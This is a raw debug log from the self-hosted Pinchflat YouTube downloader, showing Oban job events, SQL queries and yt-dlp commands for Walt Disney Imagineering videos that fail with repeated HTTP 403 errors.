{"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:20.335 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:50.336 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.117 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:20.338 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:50.339 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.117 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:20.340 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:50.341 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.118 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:20.342 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:50.343 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.120 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:20.344 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:36.209 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775007096209336606,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:31:36.210 [debug] QUERY OK source="media_items" db=0.7ms idle=685.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 21:31:36.210 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:31:36.210 [debug] QUERY OK source="sources" db=0.2ms idle=686.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:31:36.211 [debug] QUERY OK source="media_profiles" db=0.2ms idle=687.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:31:36.211 [debug] QUERY OK source="media_items" db=0.4ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 21:31:36.212 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 21:31:36.212 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:31:36.213 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:36.213 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:36.213 [debug] Running yt-dlp command for action: get_downloadable_status 21:31:36.213 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:36.214 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:36.214 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:36.214 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3e/8d/3e8d13852a101ade56fc201d943e1ce10822ca3903120e56fd08a1c6c4cf24e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:31:41.053 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3e/8d/3e8d13852a101ade56fc201d943e1ce10822ca3903120e56fd08a1c6c4cf24e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:31:41.053 [debug] Running yt-dlp command for action: download 21:31:41.053 [debug] QUERY OK source="settings" db=0.1ms idle=1529.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:41.054 [debug] QUERY OK source="settings" db=0.1ms idle=1530.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:41.054 [debug] QUERY OK source="settings" db=0.0ms idle=1530.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:41.054 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1b/d0/1bd09953b513fc9b0a9f05f953329d18bd9c5beca77abe54fb937a3aef5559f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:31:49.235 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1b/d0/1bd09953b513fc9b0a9f05f953329d18bd9c5beca77abe54fb937a3aef5559f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 21:31:49.235 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 21:31:49.236 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13026810,"event":"job:exception","queue_time":380393,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:31:50.345 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.120 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:20.347 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:50.348 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.121 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:20.349 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:50.351 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.122 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:20.352 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:50.353 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.123 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:20.354 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:41.492 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775007341492203389,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:35:41.492 [debug] QUERY OK source="media_items" db=0.2ms idle=1968.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 21:35:41.492 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:35:41.493 [debug] QUERY OK source="sources" db=0.2ms idle=1969.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:35:41.493 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:35:41.493 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 21:35:41.494 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 21:35:41.494 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:35:41.495 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:41.495 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:41.495 [debug] Running yt-dlp command for action: get_downloadable_status 21:35:41.495 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:41.496 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:41.496 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:41.496 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/df/24/df24d0740bd89251d1f8b6b16baf1fecb81d800ddf5174d861454a09d5330dc7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:35:46.281 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/df/24/df24d0740bd89251d1f8b6b16baf1fecb81d800ddf5174d861454a09d5330dc7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:35:46.281 [debug] Running yt-dlp command for action: download 21:35:46.281 [debug] QUERY OK source="settings" db=0.1ms idle=1757.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:46.281 [debug] QUERY OK source="settings" db=0.1ms idle=1758.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:46.282 [debug] QUERY OK source="settings" db=0.1ms idle=1758.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:35:46.282 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/26/f926cb7499e5a642934498ed169ef013dd076f1995fbe2a47e4fd2fcf9b1b77b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:35:50.355 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.124 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:20.356 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:30.673 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output 